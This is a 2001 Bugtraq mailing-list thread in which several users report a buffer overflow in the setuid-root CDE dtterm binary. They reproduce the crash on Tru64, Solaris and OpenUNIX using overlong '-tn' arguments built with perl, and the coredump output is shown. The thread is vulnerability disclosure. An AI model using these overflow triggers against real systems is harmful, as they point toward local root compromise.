I could reproduce this on True64 5.1 on an AlphaStation but I had to go all the way to 8203. Using values below 4590 caused no problems. Starting at values of 4590 up to 8202 a dtterm window will open normally and everything seems normal but the 'clear' command will cause a coredump. However, the teminal window will still remain active. Other commands don't seem to cause problems. $ uname -a OSF1 red5 V5.1 732 alpha $ /usr/dt/bin/dtterm -tn `perl -e 'print "A"x8203'` Memory fault(coredump) Bob --- "Cushing, David" <David.Cushing@hitachisoftware.com> > wrote: >I was able to reproduce this on a Solaris 8 sparc machine with different >tolerances: > >[288] uname -a >SunOS hostname 5.8 Generic_108528-08 sun4u sparc SUNW,Ultra-60 >[289] /usr/dt/bin/dtterm -tn `perl -e 'print "A"x1083'` >Segmentation Fault(coredump) >[297] /usr/dt/bin/dtterm -tn `perl -e 'print "A"x2083'` >Bus Error(coredump) >ginger:dcushing[298]=20 > >-David > >> -----Original Message----- >> From: Aycan Irican [mailto:aycan@mars.prosoft.com.tr] >> Sent: Tuesday, October 02, 2001 1:55 AM >> To: bugtraq@securityfocus.com >> Cc: evrim@envy.com.tr >> Subject: OpenUNIX 8 & Unixware possible local root >>=20 >>=20 >> -----BEGIN PGP SIGNED MESSAGE----- >> Hash: SHA1 >>=20 >> Another dt series bug... >>=20 >> $ uname -a=20 >> OpenUNIX zen 5 8.0.0 i386 x86at Caldera UNIX_SVR5=20 >> $ id=20 >> uid=3D101(fixxxer) gid=3D1(other)=20 >> $ ls -al /usr/dt/bin/dtterm=20 >> - -r-sr-xr-x 1 root bin 60892 Haz 10 05:03=20 >> /usr/dt/bin/dtterm=20 >> $ /usr/dt/bin/dtterm -tn `perl -e 'print "A"x1040'`=20 >> Warning: Missing charsets in String to FontSet conversion=20 >> Warning: Missing charsets in String to FontSet conversion=20 >> Memory fault=20 >> .. snip ..=20 _____________________________________________________________ Visit these sites today Blink 182 Fan Site - www.blink182.co.nz NZ Skateboarding - www.nzskate.com
